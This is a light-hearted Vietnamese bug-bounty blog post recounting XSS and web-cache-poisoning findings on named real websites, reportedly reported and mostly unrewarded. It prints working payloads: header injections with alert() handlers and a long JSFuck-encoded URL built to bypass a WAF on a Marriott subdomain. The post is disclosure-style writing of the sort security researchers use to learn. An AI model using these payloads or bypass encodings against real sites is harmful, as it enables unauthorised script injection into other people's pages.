Cà khịa XSS (Tập làm Thợ săn và cái cache)

** Lưu ý: Blog này không phải là một blog kĩ thuật, blog này chỉ mang tính chất nhí nhố và giải trí mùa dịch, xin đừng ném gạch.

I. Mở bài

Trong bối cảnh dịch bệnh, việc giãn cách xã hội dẫn đến ngày ngày phải làm bạn với 4 bức tường. Drama xảy ra thường xuyên cũng là một cách để làm cuộc sống bớt nhạt. Tuy nhiên thay vì đi cà khịa người để bị kiện (ở đây) thì chúng ta hãy đi cà khịa bug.

Nhìn lại quá khứ thấy mình thật là hứng thú với XSS, hồi đó có nghiên cứu CSP và thường đi gom những payload để bypass WAF … Thật là trẻ … trung.

II. Thân bài

Cảm hứng lấy từ chuyện bắt đầu chơi bug bounty (tính từ thời điểm bắt đầu vờn HackerOne).

XSS Reflected without bounty

Sau một năm đi săn thì tới giờ vẫn chưa có nổi một cái bounty cho loại bug này. Cảm thấy tự nhục nên viết bài này để giải trình.

Case Study 1: [allods.mail.ru] – WebCache Poisoning Host Header lead to Stored XSS

Bằng cách sửa host header thành

allods.mail.ru:13373″–><h1>Hacked_by_0xd0ff9<svg\x0conload=alert(document.domain)>

Nó đã bị cache và popup XSS ngay trang chủ, mình submit và nhận được response như này

Case study 2: [ir.ui.com] – WebCache Poisoning lead to Stored XSS

Bug này là do khi thêm Header: X-Original-Url: 34.71.207.185″ onmouseover=alert(document.domain) x=”

Nó sẽ cache luôn vào cái form HTML dẫn đến cũng Stored XSS nhưng phải trigger

Case Study 3: WebCache Poisoning at [dmp.dianshi.taobao.com] -can lead to Stored XSS

Chèn Malicious Host vào Header Host, sau khi cache lại lấy Host đầu tiên, Ta có thể Hijack được tag Base, Javascript và CSS được load từ Server của attacker.

Case Study 4: [www.attpac.org] – WebCache Poisoning lead to Stored XSS

Case Study X: [activities.marriott.com] – Bypass XSS reflected by JSfuck

Case này vướng phải WAF và uppercase Input nên mình sử dụng trick JSfuck để bypass.

POC:

https://activities.marriott.com//?currency=ARS%3C/script%3E%3Cscript%3E%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D)%5B%2b!%2b%5B%5D%2b%5B%2b%5B%5D%5D%5D%2b(%5B%5D%5B%5B%5D%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(%5B%5D%5B%5B%5D%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D)%5B%2b!%2b%5B%5D%2b%5B%2b%5B%5D%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%5D((!!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(%5B%5D%5B%5B%5D%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(%5B%5D%5B%5B%5D%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(%2b%5B!%5B%5D%5D%2b%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D)%5B%2b!%2b%5B%5D%2b%5B%2b!%2b%5B%5D%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(%2b(!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%2b%5B%2b!%2b%5B%5D%5D))%5B(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D)%5B%2b!%2b%5B%5D%2b%5B%2b%5B%5D%5D%5D%2b(%5B%5D%2b%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D)%5B%2b!%2b%5B%5D%2b%5B%2b%5B%5D%5D%5D%2b(%5B%5D%5B%5B%5D%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(%5B%5D%5B%5B%5D%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D)%5B%2b!%2b%5B%5D%2b%5B%2b%5B%5D%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%5D%5B(%5B%5D%5B%5B%5D%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b((%2b%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D)%5B%2b!%2b%5B%5D%2b%5B%2b%5B%5D%5D%5D%2b(%5B%5D%5B%5B%5D%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(%5B%5D%5B%5B%5D%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D)%5B%2b!%2b%5B%5D%2b%5B%2b%5B%5D%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%2b%5B%2b!%2b%5B%5D%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%5D%5D(!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%2b%5B!%2b%5B%5D%2b!%2b%5B%5D%5D)%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D)()((!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%2b%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%5D%2b%5B%2b!%2b%5B%5D%5D%2b(%5B%2b%5B%5D%5D%2b!%5B%5D%2b%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b%5B%2b%5B%5D%5D%5D)%3C/script%3E

N/A

Lý do là vi Policy, thấy XSS đừng vội submit, coi chừng dính Trap.

Tới giờ thì họ đã fix nhưng status thì vẫn N/A

Case Study XX: Ngoài ra còn nhiều lắm nhưng private program nên mình không public

III. Kết bài

Tóm lại, sau một năm Try Hard với nghề này mình rút ra được là

  • Trước khi submit bất cứ report nào, hãy đọc kĩ Policy dù bug của bạn valid, và hãy chuẩn bị tâm lý bị trừ điểm, nếu sợ thì lấy nick clone submit rồi tag mình vào nhận bounty.
  • Chơi bug bounty, tìm được bug, POC được, được Triage chưa chắc đã viên mãn. Khi nào thấy cái mail này thì vui chưa muộn.
  • Triager là người sẽ cho bạn cảm giác lên voi và sẵn sàng kéo bạn xuống chó bất cứ lúc nào. Nên cư xử sao đừng để bị đì.

Trả lời

Điền thông tin vào ô dưới đây hoặc nhấn vào một biểu tượng để đăng nhập:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Đăng xuất /  Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Đăng xuất /  Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất /  Thay đổi )

Connecting to %s